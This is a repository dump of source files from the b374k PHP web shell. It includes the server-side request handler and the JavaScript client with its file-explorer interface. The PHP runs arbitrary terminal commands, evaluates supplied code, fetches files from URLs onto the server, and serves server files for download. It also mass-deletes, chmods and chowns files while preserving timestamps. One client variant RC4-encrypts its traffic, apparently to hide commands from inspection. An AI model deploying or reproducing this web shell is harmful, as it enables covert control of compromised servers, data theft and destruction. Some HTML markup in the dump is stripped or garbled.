trim($p['findNameRegex']); 167 | $findNameInsensitive = trim($p['findNameInsensitive']); 168 | $findContent = trim($p['findContent']); 169 | $findContentRegex = trim($p['findContentRegex']); 170 | $findContentInsensitive = trim($p['findContentInsensitive']); 171 | $findReadable = trim($p['findReadable']); 172 | $findWritable = trim($p['findWritable']); 173 | $findExecutable = trim($p['findExecutable']); 174 | 175 | $candidate = get_all_files($findPath); 176 | if($findType=='file') $candidate = array_filter($candidate, "is_file"); 177 | elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir"); 178 | else $res = "error"; 179 | 180 | foreach($candidate as $k){ 181 | if(($findType=="file")||($findType=="folder")){ 182 | if(!empty($findName)){ 183 | if($findNameRegex=="true"){ 184 | $case = ($findNameInsensitive=="true")? "i":""; 185 | if(!preg_match("/".$findName."/".$case, basename($k))){ 186 | $candidate = array_diff($candidate, array($k)); 187 | } 188 | } 189 | else{ 190 | $check = false; 191 | if($findNameInsensitive=="true"){ 192 | $check = strpos(strtolower(basename($k)), strtolower($findName))===false; 193 | } 194 | else{ 195 | $check = strpos(basename($k), $findName)===false; 196 | } 197 | 198 | if($check){ 199 | $candidate = array_diff($candidate, array($k)); 200 | } 201 | } 202 | } 203 | } 204 | if($findType=="file"){ 205 | if(!empty($findContent)){ 206 | $content = read_file($k); 207 | if($findContentRegex=="true"){ 208 | $case = ($findContentInsensitive=="true")? "i":""; 209 | if(!preg_match("/".$findContent."/".$case, $content)){ 210 | $candidate = array_diff($candidate, array($k)); 211 | } 212 | } 213 | else{ 214 | $check = false; 215 | if($findContentInsensitive=="true"){ 216 | $check = strpos(strtolower($content), strtolower($findContent))===false; 217 | } 218 | else{ 219 | $check = strpos($content, $findContent)===false; 220 | } 221 | if($check){ 222 | $candidate = array_diff($candidate, array($k)); 223 | } 224 | } 225 | } 226 | } 227 | } 228 | 229 | foreach($candidate as $k){ 230 | if($findReadable=="true"){ 231 | if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); 232 | } 233 | if($findWritable=="true"){ 234 | if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); 235 | } 236 | if($findExecutable=="true"){ 237 | if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); 238 | } 239 | } 240 | 241 | if(count($candidate)>0){ 242 | $res = ""; 243 | foreach($candidate as $k){ 244 | $res .= "

> ".html_safe($k)."

"; 245 | } 246 | } 247 | else $res = ""; 248 | output($res); 249 | } 250 | elseif(isset($p['ulType'])){ 251 | $ulSaveTo = trim($p['ulSaveTo']); 252 | $ulFilename = trim($p['ulFilename']); 253 | 254 | if($p['ulType']=='comp'){ 255 | $ulFile = $_FILES['ulFile']; 256 | if(empty($ulFilename)) $ulFilename = $ulFile['name']; 257 | 258 | if(is_uploaded_file($ulFile['tmp_name'])){ 259 | if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); 260 | $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; 261 | if(move_uploaded_file($ulFile['tmp_name'], $newfile)){ 262 | $res = "> ".html_safe($newfile)." ( 100% )"; 263 | } 264 | else $res = "error"; 265 | } 266 | else $res = "error"; 267 | } 268 | elseif($p['ulType']=='url'){ 269 | $ulFile = trim($p['ulFile']); 270 | if(empty($ulFilename)) $ulFilename = basename($ulFile); 271 | if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); 272 | $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; 273 | 274 | if(download($ulFile, $newfile)){ 275 | $res = "> ".html_safe($newfile)." ( 100% )"; 276 | } 277 | else $res = "error"; 278 | } 279 | else $res = "error"; 280 | output($res); 281 | } 282 | elseif(isset($p['download'])){ 283 | $file = trim($p['download']); 284 | if(is_file($file)){ 285 | header("Content-Type: application/octet-stream"); 286 | header('Content-Transfer-Encoding: binary'); 287 | header("Content-length: ".filesize($file)); 288 | header("Cache-Control: no-cache"); 289 | header("Pragma: no-cache"); 290 | header("Content-disposition: attachment; filename=\"".basename($file)."\";"); 291 | $handler = fopen($file,"rb"); 292 | while(!feof($handler)){ 293 | print(fread($handler, 1024*8)); 294 | @ob_flush(); 295 | @flush(); 296 | } 297 | fclose($handler); 298 | die(); 299 | } 300 | } 301 | elseif(isset($p['multimedia'])){ 302 | $file = trim($p['multimedia']); 303 | $mime_list = get_resource('mime'); 304 | $mime = ""; 305 | $file_ext_pos = strrpos($file, "."); 306 | if($file_ext_pos!==false){ 307 | $file_ext = trim(substr($file, $file_ext_pos),"."); 308 | if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){ 309 | $mime = $res[1]; 310 | } 311 | } 312 | 313 | if(is_file($file)){ 314 | header("Content-Type: ".$mime); 315 | header('Content-Transfer-Encoding: binary'); 316 | header("Content-length: ".filesize($file)); 317 | echo "data:".$mime.";base64,".base64_encode(read_file($file)); 318 | die(); 319 | } 320 | } 321 | elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){ 322 | $massType = trim($p['massType']); 323 | $massBuffer = trim($p['massBuffer']); 324 | $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR; 325 | $massValue = trim($p['massValue']); 326 | $counter = 0; 327 | 328 | $massBufferArr = explode("\n", $massBuffer); 329 | if(($massType=='tar')||($massType=='targz')||($massType=='zip')){ 330 | if(compress($massType, $massValue, $massBufferArr)){ 331 | $counter++; 332 | return $counter; 333 | } 334 | } 335 | else{ 336 | foreach($massBufferArr as $k){ 337 | $path = trim($k); 338 | if(file_exists($path)){ 339 | $preserveTimestamp = filemtime($path); 340 | if($massType=='delete'){ 341 | if(is_file($path)){ 342 | if(unlink($path)) $counter++; 343 | } 344 | elseif(is_dir($path)){ 345 | if(rmdirs($path)>0) $counter++; 346 | } 347 | } 348 | elseif($massType=='cut'){ 349 | $dest = $massPath.basename($path); 350 | if(rename($path, $dest)){ 351 | $counter++; 352 | touch($dest, $preserveTimestamp); 353 | } 354 | } 355 | elseif($massType=='copy'){ 356 | $dest = $massPath.basename($path); 357 | if(is_dir($path)){ 358 | if(copys($path, $dest)>0) $counter++; 359 | } 360 | elseif(is_file($path)){ 361 | if(copy($path, $dest)) $counter++; 362 | } 363 | } 364 | elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){ 365 | if(decompress($massType, $path, $massValue)){ 366 | $counter++; 367 | return $counter; 368 | } 369 | } 370 | elseif(!empty($massValue)){ 371 | if($massType=='chmod'){ 372 | if(chmod($path, octdec($massValue))) $counter++; 373 | } 374 | elseif($massType=='chown'){ 375 | if(chown($path, $massValue)) $counter++; 376 | } 377 | elseif($massType=='touch'){ 378 | if(touch($path, strtotime($massValue))) $counter++; 379 | } 380 | } 381 | } 382 | } 383 | } 384 | if($counter>0) output($counter); 385 | output('error'); 386 | } 387 | elseif(isset($p['viewFileorFolder'])){ 388 | $entry = $p['viewFileorFolder']; 389 | if(is_file($entry)) output('file'); 390 | elseif(is_dir($entry)) output('folder'); 391 | output('error'); 392 | } 393 | elseif(isset($p['terminalInput'])){ 394 | output(html_safe(execute($p['terminalInput']))); 395 | } 396 | elseif(isset($p['evalInput']) && isset($p['evalType'])){ 397 | $evalInput = $p['evalInput']; 398 | $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:""; 399 | $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:""; 400 | $evalType = $p['evalType']; 401 | 402 | error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); 403 | @ini_set('html_errors','0'); 404 | @ini_set('display_errors','1'); 405 | @ini_set('display_startup_errors','1'); 406 | 407 | $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); 408 | if($res===false) $res == "error"; 409 | output(html_safe($res)); 410 | } 411 | elseif(isset($p['evalGetSupported'])){ 412 | $res = eval_get_supported(); 413 | output($res); 414 | } 415 | ?> -------------------------------------------------------------------------------- /base/jsPacker.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phith0n/b374k/09c3faad614268cca9162b5739f4a7b8a2729f96/base/jsPacker.php -------------------------------------------------------------------------------- /base/layout.php: -------------------------------------------------------------------------------- 1 | ".str_replace("\n\n", "\n", html_safe($error))."":""; 4 | @ob_end_clean(); 5 | error_reporting(0); 6 | @ini_set('display_errors','0'); 7 | 8 | 9 | ?> 10 | 11 | 12 | <?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?> 13 | 14 | 15 | 16 | '> 17 | 28 | 31 | 32 | 33 | 34 |
35 | 36 | 58 | 59 | 60 | 61 |
62 | 63 |
64 |
65 | $v){ 68 | echo "
".$v."
"; 69 | } 70 | ?> 71 |
72 | 73 | 74 | ".$content."
"; 78 | } 79 | ?> 80 |
81 | 82 | 83 | 84 | 85 | 89 |
90 |
91 | 92 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /base/localmain.js: -------------------------------------------------------------------------------- 1 | var loading_count = 0; 2 | var running = false; 3 | var defaultTab = 'explorer'; 4 | var currentTab = $('#'+defaultTab); 5 | var tabScroll = new Object; 6 | var onDrag = false; 7 | var onScroll = false; 8 | var scrollDelta = 1; 9 | var scrollCounter = 0; 10 | var scrollSpeed = 60; 11 | var scrollTimer = ''; 12 | var dragX = ''; 13 | var dragY = ''; 14 | var dragDeltaX = ''; 15 | var dragDeltaY = ''; 16 | var editSuccess = ''; 17 | var terminalHistory = new Array(); 18 | var terminalHistoryPos = 0; 19 | var evalSupported = ""; 20 | var evalReady = false; 21 | var resizeTimer = ''; 22 | var portableWidth = 700; 23 | var portableMode = null; 24 | 25 | Zepto(function($){ 26 | if(init_shell){ 27 | var now = new Date(); 28 | output("started @ "+ now.toGMTString()); 29 | output("cwd : "+get_cwd()); 30 | output("module : "+module_to_load); 31 | 32 | show_tab(); 33 | xpl_bind(); 34 | eval_init(); 35 | 36 | window_resize(); 37 | 38 | xpl_update_status(); 39 | 40 | $(window).on('resize', function(e){ 41 | clearTimeout(resizeTimer); 42 | resizeTimer = setTimeout("window_resize()", 1000); 43 | }); 44 | 45 | $('.menuitem').on('click', function(e){ 46 | selectedTab = $(this).attr('href').substr(2); 47 | show_tab(selectedTab); 48 | }); 49 | 50 | $('#logout').on('click', function(e){ 51 | var cookie = document.cookie.split(';'); 52 | for(var i=0; i '+str); 128 | } 129 | 130 | function window_resize(){ 131 | bodyWidth = $('body').width(); 132 | if(bodyWidth<=portableWidth){ 133 | layout_portable(); 134 | } 135 | else{ 136 | layout_normal(); 137 | } 138 | } 139 | 140 | function layout_portable(){ 141 | nav = $('#nav'); 142 | menu = $('#menu'); 143 | headerNav = $('#headerNav'); 144 | content = $('#content'); 145 | 146 | //nav.hide(); 147 | nav.prependTo('#content'); 148 | nav.css('padding','5px 8px'); 149 | nav.css('margin-top', '8px'); 150 | nav.css('display','block'); 151 | nav.addClass('border'); 152 | 153 | menu.children().css('width', '100%'); 154 | menu.hide(); 155 | $('#menuButton').remove(); 156 | headerNav.prepend(""); 157 | menu.attr('onclick', "\$('#menu').hide();"); 158 | 159 | $('#xplTable tr>:nth-child(4)').hide(); 160 | $('#xplTable tr>:nth-child(5)').hide(); 161 | if(!win){ 162 | $('#xplTable tr>:nth-child(6)').hide(); 163 | } 164 | 165 | tblfoot = $('#xplTable tfoot td:last-child'); 166 | if(tblfoot[0]) tblfoot[0].colSpan = 1; 167 | if(tblfoot[1]) tblfoot[1].colSpan = 2; 168 | 169 | 170 | $('.box').css('width', '100%'); 171 | $('.box').css('height', '100%'); 172 | $('.box').css('left', '0px'); 173 | $('.box').css('top', '0px'); 174 | 175 | paddingTop = $('#header').height(); 176 | content.css('padding-top', paddingTop+'px'); 177 | 178 | portableMode = true; 179 | } 180 | 181 | function layout_normal(){ 182 | nav = $('#nav'); 183 | menu = $('#menu'); 184 | content = $('#content'); 185 | 186 | nav.insertAfter('#b374k'); 187 | nav.css('padding','0'); 188 | nav.css('margin-top', '0'); 189 | nav.css('display','inline'); 190 | nav.removeClass('border'); 191 | 192 | menu.children().css('width', 'auto'); 193 | menu.show(); 194 | $('#menuButton').remove(); 195 | menu.attr('onclick', ""); 196 | 197 | $('#xplTable tr>:nth-child(4)').show(); 198 | $('#xplTable tr>:nth-child(5)').show(); 199 | if(!win){ 200 | $('#xplTable tr>:nth-child(6)').show(); 201 | colspan = 4; 202 | } 203 | else colspan = 3; 204 | 205 | tblfoot = $('#xplTable tfoot td:last-child'); 206 | if(tblfoot[0]) tblfoot[0].colSpan = colspan; 207 | if(tblfoot[1]) tblfoot[1].colSpan = colspan+1; 208 | 209 | paddingTop = $('#header').height(); 210 | content.css('padding-top', paddingTop+'px'); 211 | 212 | portableMode = false; 213 | } 214 | 215 | function start_scroll(str){ 216 | if(str=='top'){ 217 | to = $(window).scrollTop() - scrollCounter; 218 | scrollCounter = scrollDelta + scrollCounter; 219 | if(to<=0){ 220 | to = 0; 221 | onScroll = false; 222 | } 223 | else if(onScroll){ 224 | scrollTimer = setTimeout("start_scroll('top')", scrollSpeed); 225 | $(window).scrollTop(to); 226 | } 227 | } 228 | else if(str=='bottom'){ 229 | to = $(window).scrollTop() + scrollCounter; 230 | scrollCounter = scrollDelta + scrollCounter; 231 | bottom = $(document).height()-$(window).height(); 232 | if(to>=bottom){ 233 | to = bottom; 234 | onScroll = false; 235 | } 236 | else if(onScroll){ 237 | scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed); 238 | $(window).scrollTop(to); 239 | } 240 | } 241 | } 242 | 243 | function get_cwd(){ 244 | return decodeURIComponent(get_cookie('cwd')); 245 | } 246 | 247 | function fix_tabchar(el, e){ 248 | if(e.keyCode==9){ 249 | e.preventDefault(); 250 | var s = el.selectionStart; 251 | el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd); 252 | el.selectionEnd = s+1; 253 | } 254 | } 255 | 256 | function get_cookie(key){ 257 | var res; 258 | return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null; 259 | } 260 | 261 | function set_cookie(key, value){ 262 | document.cookie = key + '=' + encodeURIComponent(value); 263 | } 264 | 265 | function html_safe(str){ 266 | if(typeof(str) == "string"){ 267 | str = str.replace(/&/g, "&"); 268 | str = str.replace(/"/g, """); 269 | str = str.replace(/'/g, "'"); 270 | str = str.replace(//g, ">"); 272 | } 273 | return str; 274 | } 275 | 276 | function ucfirst(str){ 277 | return str.charAt(0).toUpperCase() + str.slice(1); 278 | } 279 | 280 | function time(){ 281 | var d = new Date(); 282 | return d.getTime(); 283 | } 284 | 285 | function send_post(targetdata, callback, loading){ 286 | if(loading==null) loading_start(); 287 | $.ajax({ 288 | url: targeturl, 289 | type: 'POST', 290 | data: targetdata, 291 | success: function(res){ 292 | callback(res); 293 | if(loading==null) loading_stop(); 294 | }, 295 | error: function(){ if(loading==null) loading_stop(); } 296 | }); 297 | } 298 | 299 | function loading_start(){ 300 | if(!running){ 301 | $('#overlay').show(); 302 | running = true; 303 | loading_loop(); 304 | } 305 | } 306 | 307 | function loading_loop(){ 308 | if(running){ 309 | img = $('#loading'); 310 | img.css('transform', 'rotate('+loading_count+'deg)'); 311 | img.css('-ms-transform', 'rotate('+loading_count+'deg)'); 312 | img.css('-webkit-transform', 'rotate('+loading_count+'deg)'); 313 | 314 | loading_count+=7; 315 | if(loading_count>360) loading_count = 0; 316 | if(running) setTimeout("loading_loop()",20); 317 | } 318 | } 319 | 320 | function loading_stop(){ 321 | if(running){ 322 | img = $('#loading'); 323 | img.css('transform', 'rotate(0deg)'); 324 | img.css('-ms-transform', 'rotate(0deg)'); 325 | img.css('-webkit-transform', 'rotate(0deg)'); 326 | 327 | $('#overlay').hide(); 328 | running = false; 329 | } 330 | } 331 | 332 | function show_tab(id){ 333 | if(!id){ 334 | if(location.hash!='') id = location.hash.substr(2); 335 | else id = defaultTab; 336 | } 337 | refresh_tab(id); 338 | } 339 | 340 | function refresh_tab(id){ 341 | if(!id){ 342 | if(location.hash!='') id = location.hash.substr(2); 343 | else id = defaultTab; 344 | } 345 | $('.menuitemSelected').removeClass("menuitemSelected"); 346 | $('#menu'+id).addClass("menuitemSelected"); 347 | 348 | tabScroll[currentTab.attr('id')] = $(window).scrollTop(); 349 | currentTab.hide(); 350 | currentTab = $('#'+id); 351 | currentTab.show(); 352 | window[id](); 353 | if(tabScroll[id]){ 354 | $(window).scrollTop(tabScroll[id]); 355 | } 356 | hide_box(); 357 | } 358 | 359 | function trap_enter(e, callback){ 360 | if(e.keyCode==13){ 361 | if(callback!=null) window[callback](); 362 | } 363 | } 364 | 365 | function show_box(title, content){ 366 | onDrag = false; 367 | hide_box(); 368 | box = "

"+title+"x

"+content+"
"; 369 | $('#content').append(box); 370 | 371 | box_width = $('.box').width(); 372 | body_width = $('body').width(); 373 | 374 | box_height = $('.box').height(); 375 | body_height = $('body').height(); 376 | 377 | x = (body_width - box_width)/2; 378 | y = (body_height - box_height)/2; 379 | if(x<0 || portableMode) x = 0; 380 | if(y<0 || portableMode) y = 0; 381 | if(portableMode){ 382 | $('.box').css('width', '100%'); 383 | $('.box').css('height', '100%'); 384 | } 385 | 386 | $('.box').css('left', x+'px'); 387 | $('.box').css('top', y+'px'); 388 | 389 | $('.boxclose').on('click', function(e){ 390 | hide_box(); 391 | }); 392 | 393 | if(!portableMode){ 394 | $('.boxtitle').on('click', function(e){ 395 | if(!onDrag){ 396 | dragDeltaX = e.pageX - parseInt($('.box').css('left')); 397 | dragDeltaY = e.pageY - parseInt($('.box').css('top')); 398 | drag_start(); 399 | } 400 | else drag_stop(); 401 | }); 402 | } 403 | 404 | $(document).off('keyup'); 405 | $(document).on('keyup', function(e){ 406 | if(e.keyCode == 27) hide_box(); 407 | }); 408 | 409 | if($('.box input')[0]) $('.box input')[0].focus(); 410 | } 411 | 412 | function hide_box(){ 413 | $(document).off('keyup'); 414 | $('.box').remove(); 415 | } 416 | 417 | function drag_start(){ 418 | if(!onDrag){ 419 | onDrag = true; 420 | $('body').off('mousemove'); 421 | $('body').on('mousemove', function(e){ 422 | dragX = e.pageX; 423 | dragY = e.pageY; 424 | }); 425 | setTimeout('drag_loop()',50); 426 | } 427 | } 428 | 429 | function drag_loop(){ 430 | if(onDrag){ 431 | x = dragX - dragDeltaX; 432 | y = dragY - dragDeltaY; 433 | if(y<0)y=0; 434 | $('.box').css('left', x+'px'); 435 | $('.box').css('top', y+'px'); 436 | setTimeout('drag_loop()',50); 437 | } 438 | } 439 | 440 | function drag_stop(){ 441 | onDrag = false; 442 | $('body').off('mousemove'); 443 | } 444 | 445 | function get_all_cbox_selected(id, callback){ 446 | var buffer = new Array(); 447 | $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){ 448 | if((href = window[callback]($(this)))){ 449 | buffer[i] = href; 450 | } 451 | }); 452 | return buffer; 453 | } 454 | 455 | 456 | function cbox_bind(id, callback){ 457 | $('#'+id).find('.cBox').off('click'); 458 | $('#'+id).find('.cBoxAll').off('click'); 459 | 460 | $('#'+id).find('.cBox').on('click', function(e){ 461 | if($(this).hasClass('cBoxSelected')){ 462 | $(this).removeClass('cBoxSelected'); 463 | } 464 | else $(this).addClass('cBoxSelected'); 465 | if(callback!=null) window[callback](); 466 | }); 467 | $('#'+id).find('.cBoxAll').on('click', function(e){ 468 | if($(this).hasClass('cBoxSelected')){ 469 | $('#'+id).find('.cBox').removeClass('cBoxSelected'); 470 | $('#'+id).find('.cBoxAll').removeClass('cBoxSelected'); 471 | } 472 | else{ 473 | $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected'); 474 | $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected'); 475 | } 476 | if(callback!=null) window[callback](); 477 | }); 478 | } -------------------------------------------------------------------------------- /base/main.js: -------------------------------------------------------------------------------- 1 | var loading_count = 0; 2 | var running = false; 3 | var defaultTab = 'explorer'; 4 | var currentTab = $('#'+defaultTab); 5 | var tabScroll = new Object; 6 | var onDrag = false; 7 | var onScroll = false; 8 | var scrollDelta = 1; 9 | var scrollCounter = 0; 10 | var scrollSpeed = 60; 11 | var scrollTimer = ''; 12 | var dragX = ''; 13 | var dragY = ''; 14 | var dragDeltaX = ''; 15 | var dragDeltaY = ''; 16 | var editSuccess = ''; 17 | var terminalHistory = new Array(); 18 | var terminalHistoryPos = 0; 19 | var evalSupported = ""; 20 | var evalReady = false; 21 | var resizeTimer = ''; 22 | var portableWidth = 700; 23 | var portableMode = null; 24 | 25 | Zepto(function($){ 26 | if(init_shell){ 27 | var now = new Date(); 28 | output("started @ "+ now.toGMTString()); 29 | output("cwd : "+get_cwd()); 30 | output("module : "+module_to_load); 31 | 32 | show_tab(); 33 | xpl_bind(); 34 | eval_init(); 35 | 36 | window_resize(); 37 | 38 | xpl_update_status(); 39 | 40 | $(window).on('resize', function(e){ 41 | clearTimeout(resizeTimer); 42 | resizeTimer = setTimeout("window_resize()", 1000); 43 | }); 44 | 45 | $('.menuitem').on('click', function(e){ 46 | selectedTab = $(this).attr('href').substr(2); 47 | show_tab(selectedTab); 48 | }); 49 | 50 | $('#logout').on('click', function(e){ 51 | var cookie = document.cookie.split(';'); 52 | for(var i=0; i '+str); 128 | } 129 | 130 | function window_resize(){ 131 | bodyWidth = $('body').width(); 132 | if(bodyWidth<=portableWidth){ 133 | layout_portable(); 134 | } 135 | else{ 136 | layout_normal(); 137 | } 138 | } 139 | 140 | function layout_portable(){ 141 | nav = $('#nav'); 142 | menu = $('#menu'); 143 | headerNav = $('#headerNav'); 144 | content = $('#content'); 145 | 146 | //nav.hide(); 147 | nav.prependTo('#content'); 148 | nav.css('padding','5px 8px'); 149 | nav.css('margin-top', '8px'); 150 | nav.css('display','block'); 151 | nav.addClass('border'); 152 | 153 | menu.children().css('width', '100%'); 154 | menu.hide(); 155 | $('#menuButton').remove(); 156 | headerNav.prepend(""); 157 | menu.attr('onclick', "\$('#menu').hide();"); 158 | 159 | $('#xplTable tr>:nth-child(4)').hide(); 160 | $('#xplTable tr>:nth-child(5)').hide(); 161 | if(!win){ 162 | $('#xplTable tr>:nth-child(6)').hide(); 163 | } 164 | 165 | tblfoot = $('#xplTable tfoot td:last-child'); 166 | if(tblfoot[0]) tblfoot[0].colSpan = 1; 167 | if(tblfoot[1]) tblfoot[1].colSpan = 2; 168 | 169 | 170 | $('.box').css('width', '100%'); 171 | $('.box').css('height', '100%'); 172 | $('.box').css('left', '0px'); 173 | $('.box').css('top', '0px'); 174 | 175 | paddingTop = $('#header').height(); 176 | content.css('padding-top', paddingTop+'px'); 177 | 178 | portableMode = true; 179 | } 180 | 181 | function layout_normal(){ 182 | nav = $('#nav'); 183 | menu = $('#menu'); 184 | content = $('#content'); 185 | 186 | nav.insertAfter('#b374k'); 187 | nav.css('padding','0'); 188 | nav.css('margin-top', '0'); 189 | nav.css('display','inline'); 190 | nav.removeClass('border'); 191 | 192 | menu.children().css('width', 'auto'); 193 | menu.show(); 194 | $('#menuButton').remove(); 195 | menu.attr('onclick', ""); 196 | 197 | $('#xplTable tr>:nth-child(4)').show(); 198 | $('#xplTable tr>:nth-child(5)').show(); 199 | if(!win){ 200 | $('#xplTable tr>:nth-child(6)').show(); 201 | colspan = 4; 202 | } 203 | else colspan = 3; 204 | 205 | tblfoot = $('#xplTable tfoot td:last-child'); 206 | if(tblfoot[0]) tblfoot[0].colSpan = colspan; 207 | if(tblfoot[1]) tblfoot[1].colSpan = colspan+1; 208 | 209 | paddingTop = $('#header').height(); 210 | content.css('padding-top', paddingTop+'px'); 211 | 212 | portableMode = false; 213 | } 214 | 215 | function start_scroll(str){ 216 | if(str=='top'){ 217 | to = $(window).scrollTop() - scrollCounter; 218 | scrollCounter = scrollDelta + scrollCounter; 219 | if(to<=0){ 220 | to = 0; 221 | onScroll = false; 222 | } 223 | else if(onScroll){ 224 | scrollTimer = setTimeout("start_scroll('top')", scrollSpeed); 225 | $(window).scrollTop(to); 226 | } 227 | } 228 | else if(str=='bottom'){ 229 | to = $(window).scrollTop() + scrollCounter; 230 | scrollCounter = scrollDelta + scrollCounter; 231 | bottom = $(document).height()-$(window).height(); 232 | if(to>=bottom){ 233 | to = bottom; 234 | onScroll = false; 235 | } 236 | else if(onScroll){ 237 | scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed); 238 | $(window).scrollTop(to); 239 | } 240 | } 241 | } 242 | 243 | function get_cwd(){ 244 | return decodeURIComponent(get_cookie('cwd')); 245 | } 246 | 247 | function fix_tabchar(el, e){ 248 | if(e.keyCode==9){ 249 | e.preventDefault(); 250 | var s = el.selectionStart; 251 | el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd); 252 | el.selectionEnd = s+1; 253 | } 254 | } 255 | 256 | function get_cookie(key){ 257 | var res; 258 | return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null; 259 | } 260 | 261 | function set_cookie(key, value){ 262 | document.cookie = key + '=' + encodeURIComponent(value); 263 | } 264 | 265 | function html_safe(str){ 266 | if(typeof(str) == "string"){ 267 | str = str.replace(/&/g, "&"); 268 | str = str.replace(/"/g, """); 269 | str = str.replace(/'/g, "'"); 270 | str = str.replace(//g, ">"); 272 | } 273 | return str; 274 | } 275 | 276 | function ucfirst(str){ 277 | return str.charAt(0).toUpperCase() + str.slice(1); 278 | } 279 | 280 | function time(){ 281 | var d = new Date(); 282 | return d.getTime(); 283 | } 284 | 285 | function send_post(targetdata, callback, loading){ 286 | if(loading==null) loading_start(); 287 | var enc = ''; 288 | if(typeof targetdata == "object") { 289 | enc = $.param(targetdata); 290 | } 291 | targetdata = { 292 | target: bin2hex(rc4(window['cipher_key'], enc)) 293 | }; 294 | $.ajax({ 295 | url: targeturl, 296 | type: 'POST', 297 | data: targetdata, 298 | success: function(res){ 299 | callback(res); 300 | if(loading==null) loading_stop(); 301 | }, 302 | error: function(){ if(loading==null) loading_stop(); } 303 | }); 304 | } 305 | 306 | function loading_start(){ 307 | if(!running){ 308 | $('#overlay').show(); 309 | running = true; 310 | loading_loop(); 311 | } 312 | } 313 | 314 | function loading_loop(){ 315 | if(running){ 316 | img = $('#loading'); 317 | img.css('transform', 'rotate('+loading_count+'deg)'); 318 | img.css('-ms-transform', 'rotate('+loading_count+'deg)'); 319 | img.css('-webkit-transform', 'rotate('+loading_count+'deg)'); 320 | 321 | loading_count+=7; 322 | if(loading_count>360) loading_count = 0; 323 | if(running) setTimeout("loading_loop()",20); 324 | } 325 | } 326 | 327 | function loading_stop(){ 328 | if(running){ 329 | img = $('#loading'); 330 | img.css('transform', 'rotate(0deg)'); 331 | img.css('-ms-transform', 'rotate(0deg)'); 332 | img.css('-webkit-transform', 'rotate(0deg)'); 333 | 334 | $('#overlay').hide(); 335 | running = false; 336 | } 337 | } 338 | 339 | function show_tab(id){ 340 | if(!id){ 341 | if(location.hash!='') id = location.hash.substr(2); 342 | else id = defaultTab; 343 | } 344 | refresh_tab(id); 345 | } 346 | 347 | function refresh_tab(id){ 348 | if(!id){ 349 | if(location.hash!='') id = location.hash.substr(2); 350 | else id = defaultTab; 351 | } 352 | $('.menuitemSelected').removeClass("menuitemSelected"); 353 | $('#menu'+id).addClass("menuitemSelected"); 354 | 355 | tabScroll[currentTab.attr('id')] = $(window).scrollTop(); 356 | currentTab.hide(); 357 | currentTab = $('#'+id); 358 | currentTab.show(); 359 | window[id](); 360 | if(tabScroll[id]){ 361 | $(window).scrollTop(tabScroll[id]); 362 | } 363 | hide_box(); 364 | } 365 | 366 | function trap_enter(e, callback){ 367 | if(e.keyCode==13){ 368 | if(callback!=null) window[callback](); 369 | } 370 | } 371 | 372 | function show_box(title, content){ 373 | onDrag = false; 374 | hide_box(); 375 | box = "

"+title+"x

"+content+"
"; 376 | $('#content').append(box); 377 | 378 | box_width = $('.box').width(); 379 | body_width = $('body').width(); 380 | 381 | box_height = $('.box').height(); 382 | body_height = $('body').height(); 383 | 384 | x = (body_width - box_width)/2; 385 | y = (body_height - box_height)/2; 386 | if(x<0 || portableMode) x = 0; 387 | if(y<0 || portableMode) y = 0; 388 | if(portableMode){ 389 | $('.box').css('width', '100%'); 390 | $('.box').css('height', '100%'); 391 | } 392 | 393 | $('.box').css('left', x+'px'); 394 | $('.box').css('top', y+'px'); 395 | 396 | $('.boxclose').on('click', function(e){ 397 | hide_box(); 398 | }); 399 | 400 | if(!portableMode){ 401 | $('.boxtitle').on('click', function(e){ 402 | if(!onDrag){ 403 | dragDeltaX = e.pageX - parseInt($('.box').css('left')); 404 | dragDeltaY = e.pageY - parseInt($('.box').css('top')); 405 | drag_start(); 406 | } 407 | else drag_stop(); 408 | }); 409 | } 410 | 411 | $(document).off('keyup'); 412 | $(document).on('keyup', function(e){ 413 | if(e.keyCode == 27) hide_box(); 414 | }); 415 | 416 | if($('.box input')[0]) $('.box input')[0].focus(); 417 | } 418 | 419 | function hide_box(){ 420 | $(document).off('keyup'); 421 | $('.box').remove(); 422 | } 423 | 424 | function drag_start(){ 425 | if(!onDrag){ 426 | onDrag = true; 427 | $('body').off('mousemove'); 428 | $('body').on('mousemove', function(e){ 429 | dragX = e.pageX; 430 | dragY = e.pageY; 431 | }); 432 | setTimeout('drag_loop()',50); 433 | } 434 | } 435 | 436 | function drag_loop(){ 437 | if(onDrag){ 438 | x = dragX - dragDeltaX; 439 | y = dragY - dragDeltaY; 440 | if(y<0)y=0; 441 | $('.box').css('left', x+'px'); 442 | $('.box').css('top', y+'px'); 443 | setTimeout('drag_loop()',50); 444 | } 445 | } 446 | 447 | function drag_stop(){ 448 | onDrag = false; 449 | $('body').off('mousemove'); 450 | } 451 | 452 | function get_all_cbox_selected(id, callback){ 453 | var buffer = new Array(); 454 | 